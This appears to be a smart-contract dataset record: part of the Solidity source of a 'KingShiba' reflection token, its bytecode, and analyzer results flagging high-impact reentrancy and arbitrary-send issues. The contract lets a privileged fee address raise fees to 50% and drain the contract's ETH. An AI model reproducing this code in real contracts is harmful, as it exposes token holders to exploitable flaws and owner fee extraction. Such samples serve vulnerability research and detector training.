uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 50000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130db565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf9565b61054a565b6040516101a491906130c0565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bd565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612baa565b610579565b60405161020c91906130c0565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bd565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613332565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c87565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c35565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1c565b61084a565b6040516102f191906132bd565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1c565b610913565b60405161034591906132bd565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff2565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130db565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf9565b610b1d565b6040516103ef91906130c0565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130c0565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1c565b610b52565b60405161045791906132bd565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bd565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6e565b610d19565b6040516104ed91906132bd565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280601681526020017f542e6d652f5468654b696e675368696261546f6b656e00000000000000000000815250905090565b600061055e6105576112b1565b84846112b9565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611484565b610647846105926112b1565b61064285604051806060016040528060288152602001613a1460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4e9092919063ffffffff16565b6112b9565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b1565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319d565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bd565b60405180910390a150565b61075a6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fd565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130c0565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613483565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b1565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db2565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ead565b9050919050565b61096c6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4b696e6753686962610000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b1565b8484611484565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613483565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1b565b50565b610c2b6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fd565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a2565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fd565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b45565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b45565b6040518363ffffffff1660e01b815260040161104892919061300d565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b45565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305f565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612cb0565b5050506802b5e3af16b188000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125b929190613036565b602060405180830381600087803b15801561127557600080fd5b505af1158015611289573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ad9190612c5e565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113209061325d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113909061313d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147791906132bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb9061323d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b906130fd565b60405180910390fd5b600081116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e9061321d565b60405180910390fd5b6115af610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8b57601460159054906101000a900460ff161561172357600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611722576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ce5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118245750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f75760148054906101000a900460ff16611876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186d9061329d565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198d5742601554111561198c576010548111156118b457600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f9061315d565b60405180910390fd5b602d4261194591906133a2565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f657600f426119af91906133a2565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0230610913565b9050601460169054906101000a900460ff16158015611a6f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a85575060148054906101000a900460ff165b15611c8957601460159054906101000a900460ff1615611b245742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1a906131bd565b60405180910390fd5b5b601460179054906101000a900460ff1615611bae576000611b50600c548461221590919063ffffffff16565b9050611ba1611b9284611b84601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61229090919063ffffffff16565b826122ee90919063ffffffff16565b9050611bac81612338565b505b6000811115611c6f57611c096064611bfb600b54611bed601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221590919063ffffffff16565b6122ee90919063ffffffff16565b811115611c6557611c626064611c54600b54611c46601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221590919063ffffffff16565b6122ee90919063ffffffff16565b90505b611c6e81611f1b565b5b60004790506000811115611c8757611c8647611db2565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d325750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3c57600090505b611d48848484846123ef565b50505050565b6000838311158290611d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8d91906130db565b60405180910390fd5b5060008385611da59190613483565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e026002846122ee90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2d573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7e6002846122ee90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea9573d6000803e3d6000fd5b5050565b6000600754821115611ef4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eeb9061311d565b60405180910390fd5b6000611efe61241c565b9050611f1381846122ee90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f79577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa75781602001602082028036833780820191505090505b5090503081600081518110611fe5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208757600080fd5b505afa15801561209b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120bf9190612b45565b816001815181106120f9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216030601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c49594939291906132d8565b600060405180830381600087803b1580156121de57600080fd5b505af11580156121f2573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b600080831415612228576000905061228a565b600082846122369190613429565b905082848261224591906133f8565b14612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c906131dd565b60405180910390fd5b809150505b92915050565b600080828461229f91906133a2565b9050838110156122e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122db9061317d565b60405180910390fd5b8091505092915050565b600061233083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612447565b905092915050565b6000600a9050600a82101561235057600a9050612367565b60288211156123625760289050612366565b8190505b5b600061237d6002836124aa90919063ffffffff16565b1461239157808061238d90613551565b9150505b6123b8600a6123aa60068461221590919063ffffffff16565b6122ee90919063ffffffff16565b6009819055506123e5600a6123d760048461221590919063ffffffff16565b6122ee90919063ffffffff16565b600a819055505050565b806123fd576123fc6124f4565b5b612408848484612537565b8061241657612415612702565b5b50505050565b6000806000612429612716565b9150915061244081836122ee90919063ffffffff16565b9250505090565b6000808311829061248e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248591906130db565b60405180910390fd5b506000838561249d91906133f8565b9050809150509392505050565b60006124ec83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612778565b905092915050565b600060095414801561250857506000600a54145b1561251257612535565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612549876127d6565b9550955095509550955095506125a786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268881612888565b6126928483612945565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ef91906132bd565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274c683635c9adc5dea000006007546122ee90919063ffffffff16565b82101561276b57600754683635c9adc5dea00000935093505050612774565b81819350935050505b9091565b60008083141582906127c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b791906130db565b60405180910390fd5b5082846127cd919061359a565b90509392505050565b60008060008060008060008060006127f38a600954600a5461297f565b925092509250600061280361241c565b905060008060006128168e878787612a15565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061288083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4e565b905092915050565b600061289261241c565b905060006128a9828461221590919063ffffffff16565b90506128fd81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61295a8260075461283e90919063ffffffff16565b6007819055506129758160085461229090919063ffffffff16565b6008819055505050565b6000806000806129ab606461299d888a61221590919063ffffffff16565b6122ee90919063ffffffff16565b905060006129d560646129c7888b61221590919063ffffffff16565b6122ee90919063ffffffff16565b905060006129fe826129f0858c61283e90919063ffffffff16565b61283e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2e858961221590919063ffffffff16565b90506000612a45868961221590919063ffffffff16565b90506000612a5c878961221590919063ffffffff16565b90506000612a8582612a77858761283e90919063ffffffff16565b61283e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aad816139ce565b92915050565b600081519050612ac2816139ce565b92915050565b600081359050612ad7816139e5565b92915050565b600081519050612aec816139e5565b92915050565b600081359050612b01816139fc565b92915050565b600081519050612b16816139fc565b92915050565b600060208284031215612b2e57600080fd5b6000612b3c84828501612a9e565b91505092915050565b600060208284031215612b5757600080fd5b6000612b6584828501612ab3565b91505092915050565b60008060408385031215612b8157600080fd5b6000612b8f85828601612a9e565b9250506020612ba085828601612a9e565b9150509250929050565b600080600060608486031215612bbf57600080fd5b6000612bcd86828701612a9e565b9350506020612bde86828701612a9e565b9250506040612bef86828701612af2565b9150509250925092565b60008060408385031215612c0c57600080fd5b6000612c1a85828601612a9e565b9250506020612c2b85828601612af2565b9150509250929050565b600060208284031215612c4757600080fd5b6000612c5584828501612ac8565b91505092915050565b600060208284031215612c7057600080fd5b6000612c7e84828501612add565b91505092915050565b600060208284031215612c9957600080fd5b6000612ca784828501612af2565b91505092915050565b600080600060608486031215612cc557600080fd5b6000612cd386828701612b07565b9350506020612ce486828701612b07565b9250506040612cf586828701612b07565b9150509250925092565b6000612d0b8383612d17565b60208301905092915050565b612d20816134b7565b82525050565b612d2f816134b7565b82525050565b6000612d408261335d565b612d4a8185613380565b9350612d558361334d565b8060005b83811015612d86578151612d6d8882612cff565b9750612d7883613373565b925050600181019050612d59565b5085935050505092915050565b612d9c816134c9565b82525050565b612dab8161350c565b82525050565b6000612dbc82613368565b612dc68185613391565b9350612dd681856020860161351e565b612ddf81613629565b840191505092915050565b6000612df7602383613391565b9150612e028261363a565b604082019050919050565b6000612e1a602a83613391565b9150612e2582613689565b604082019050919050565b6000612e3d602283613391565b9150612e48826136d8565b604082019050919050565b6000612e60602283613391565b9150612e6b82613727565b604082019050919050565b6000612e83601b83613391565b9150612e8e82613776565b602082019050919050565b6000612ea6601583613391565b9150612eb18261379f565b602082019050919050565b6000612ec9602383613391565b9150612ed4826137c8565b604082019050919050565b6000612eec602183613391565b9150612ef782613817565b604082019050919050565b6000612f0f602083613391565b9150612f1a82613866565b602082019050919050565b6000612f32602983613391565b9150612f3d8261388f565b604082019050919050565b6000612f55602583613391565b9150612f60826138de565b604082019050919050565b6000612f78602483613391565b9150612f838261392d565b604082019050919050565b6000612f9b601783613391565b9150612fa68261397c565b602082019050919050565b6000612fbe601883613391565b9150612fc9826139a5565b602082019050919050565b612fdd816134f5565b82525050565b612fec816134ff565b82525050565b60006020820190506130076000830184612d26565b92915050565b60006040820190506130226000830185612d26565b61302f6020830184612d26565b9392505050565b600060408201905061304b6000830185612d26565b6130586020830184612fd4565b9392505050565b600060c0820190506130746000830189612d26565b6130816020830188612fd4565b61308e6040830187612da2565b61309b6060830186612da2565b6130a86080830185612d26565b6130b560a0830184612fd4565b979650505050505050565b60006020820190506130d56000830184612d93565b92915050565b600060208201905081810360008301526130f58184612db1565b905092915050565b6000602082019050818103600083015261311681612dea565b9050919050565b6000602082019050818103600083015261313681612e0d565b9050919050565b6000602082019050818103600083015261315681612e30565b9050919050565b6000602082019050818103600083015261317681612e53565b9050919050565b6000602082019050818103600083015261319681612e76565b9050919050565b600060208201905081810360008301526131b681612e99565b9050919050565b600060208201905081810360008301526131d681612ebc565b9050919050565b600060208201905081810360008301526131f681612edf565b9050919050565b6000602082019050818103600083015261321681612f02565b9050919050565b6000602082019050818103600083015261323681612f25565b9050919050565b6000602082019050818103600083015261325681612f48565b9050919050565b6000602082019050818103600083015261327681612f6b565b9050919050565b6000602082019050818103600083015261329681612f8e565b9050919050565b600060208201905081810360008301526132b681612fb1565b9050919050565b60006020820190506132d26000830184612fd4565b92915050565b600060a0820190506132ed6000830188612fd4565b6132fa6020830187612da2565b818103604083015261330c8186612d35565b905061331b6060830185612d26565b6133286080830184612fd4565b9695505050505050565b60006020820190506133476000830184612fe3565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ad826134f5565b91506133b8836134f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ed576133ec6135cb565b5b828201905092915050565b6000613403826134f5565b915061340e836134f5565b92508261341e5761341d6135fa565b5b828204905092915050565b6000613434826134f5565b915061343f836134f5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613478576134776135cb565b5b828202905092915050565b600061348e826134f5565b9150613499836134f5565b9250828210156134ac576134ab6135cb565b5b828203905092915050565b60006134c2826134d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613517826134f5565b9050919050565b60005b8381101561353c578082015181840152602081019050613521565b8381111561354b576000848401525b50505050565b600061355c826134f5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358f5761358e6135cb565b5b600182019050919050565b60006135a5826134f5565b91506135b0836134f5565b9250826135c0576135bf6135fa565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d7816134b7565b81146139e257600080fd5b50565b6139ee816134c9565b81146139f957600080fd5b50565b613a05816134f5565b8114613a1057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ccaccd618fe0c66a2d5ea54f3b1b03a1db652bceb8b00e39467ecdce9f8fa97664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,830
0x5592db88731b09d82627faae8f1e3908ea1199eb
